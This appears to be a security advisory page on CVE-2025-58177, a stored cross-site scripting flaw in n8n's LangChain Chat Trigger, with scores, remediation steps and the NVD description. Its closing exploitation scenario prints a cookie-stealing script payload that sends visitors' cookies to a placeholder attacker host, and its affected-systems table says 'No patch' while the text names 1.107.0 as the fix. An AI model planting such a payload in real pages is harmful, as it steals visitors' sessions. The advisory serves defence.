CVE-2025-58177 — MEDIUM (CVSS 5.4) AI Security Vulnerability

CISO Take

An authorized n8n user can inject malicious JavaScript into the LangChain Chat Trigger's initialMessages field, which executes silently in any visitor's browser when the public chat URL is accessed. This enables session cookie theft and phishing at scale against users of your public-facing AI chat interfaces. Upgrade to n8n 1.107.0 immediately; if patching is delayed, disable all public-facing chatTrigger nodes.

Risk Assessment

Medium CVSS (5.4) understates operational risk for organizations with public-facing n8n AI chat interfaces. The scope change (S:C) indicates cross-context impact: an attacker with low-privilege access poisons the configuration once, and the payload fires for every subsequent external visitor. Real-world blast radius scales with how many end users interact with exposed chat URLs — potentially large for customer-facing AI assistants built on n8n.

Affected Systems

Package	Ecosystem	Vulnerable Range	Patched
n8n	npm	—	No patch
186.5K OpenSSF 6.0 16 dependents Pushed 6d ago 40% patched ~3d to patch Full package profile →

Do you use n8n? You're affected.

Severity & Risk

CVSS 3.1

5.4 / 10

EPSS

0.0%

chance of exploitation in 30 days

Higher than 7% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

No known exploitation

Sophistication

Trivial

Attack Surface

AV Network

AC Low

PR Low

UI Required

S Changed

C Low

I Low

A None

Recommended Action

6 steps

PATCH

Upgrade n8n to 1.107.0 or later immediately.
WORKAROUND

If patching is delayed, disable all public-facing LangChain chatTrigger nodes.
AUDIT

Inspect the initialMessages field across all chatTrigger configurations for injected script tags or JS event handlers.
ACCESS CONTROL

Restrict workflow configuration permissions — limit who can modify chatTrigger nodes with public access enabled.
CSP

Implement Content-Security-Policy headers on n8n instances as defense-in-depth against XSS.
MONITOR

Review access logs for public chat URLs for anomalous traffic or referrers post-incident.

CISA SSVC Assessment

Decision Track

Exploitation none

Automatable No

Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

Classification

Social Engineering Data Extraction Framework Agent AML.T0011.003 - Malicious Link AML.T0049 - Exploit Public-Facing Application AML.T0052 - Phishing AML.T0078 - Drive-by Compromise AML.T0093 - Prompt Infiltration via Public-Facing Application

Compliance Impact

This CVE is relevant to:

EU AI Act

Article 9 - Risk Management System

ISO 42001

A.6.1.2 - AI System Security Risk Assessment

NIST AI RMF

MANAGE 2.2 - Mechanisms to sustain and monitor AI risk

OWASP LLM Top 10

LLM05 - Improper Output Handling

Frequently Asked Questions

What is CVE-2025-58177?

An authorized n8n user can inject malicious JavaScript into the LangChain Chat Trigger's initialMessages field, which executes silently in any visitor's browser when the public chat URL is accessed. This enables session cookie theft and phishing at scale against users of your public-facing AI chat interfaces. Upgrade to n8n 1.107.0 immediately; if patching is delayed, disable all public-facing chatTrigger nodes.

Is CVE-2025-58177 actively exploited?

No confirmed active exploitation of CVE-2025-58177 has been reported, but organizations should still patch proactively.

How to fix CVE-2025-58177?

1. PATCH: Upgrade n8n to 1.107.0 or later immediately. 2. WORKAROUND: If patching is delayed, disable all public-facing LangChain chatTrigger nodes. 3. AUDIT: Inspect the initialMessages field across all chatTrigger configurations for injected script tags or JS event handlers. 4. ACCESS CONTROL: Restrict workflow configuration permissions — limit who can modify chatTrigger nodes with public access enabled. 5. CSP: Implement Content-Security-Policy headers on n8n instances as defense-in-depth against XSS. 6. MONITOR: Review access logs for public chat URLs for anomalous traffic or referrers post-incident.

What systems are affected by CVE-2025-58177?

This vulnerability affects the following AI/ML architecture patterns: workflow automation, agent frameworks, LLM-powered chatbots, AI pipeline orchestration.

What is the CVSS score for CVE-2025-58177?

CVE-2025-58177 has a CVSS v3.1 base score of 5.4 (MEDIUM). The EPSS exploitation probability is 0.03%.

Technical Details

NVD Description

n8n is an open source workflow automation platform. From 1.24.0 to before 1.107.0, there is a stored cross-site scripting (XSS) vulnerability in @n8n/n8n-nodes-langchain.chatTrigger. An authorized user can configure the LangChain Chat Trigger node with malicious JavaScript in the initialMessages field and enable public access so that the payload is executed in the browser of any user who visits the resulting public chat URL. This can be used for phishing or to steal cookies or other sensitive data from users accessing the public chat link. The issue is fixed in version 1.107.0. Updating to 1.107.0 or later is recommended. As a workaround, the affected chatTrigger node can be disabled. No other workarounds are known.

Exploitation Scenario

A threat actor with low-privilege n8n access (compromised developer credential or malicious insider) modifies a LangChain Chat Trigger workflow, injecting a cookie-harvesting payload such as '<script>fetch("https://attacker.com/c?v="+document.cookie)</script>' into the initialMessages field. They enable public access and distribute the resulting URL via phishing emails targeting the organization's customers or partner users. Every visitor who loads the chat interface silently delivers their session tokens to the attacker — all while interacting with what appears to be a legitimate AI assistant.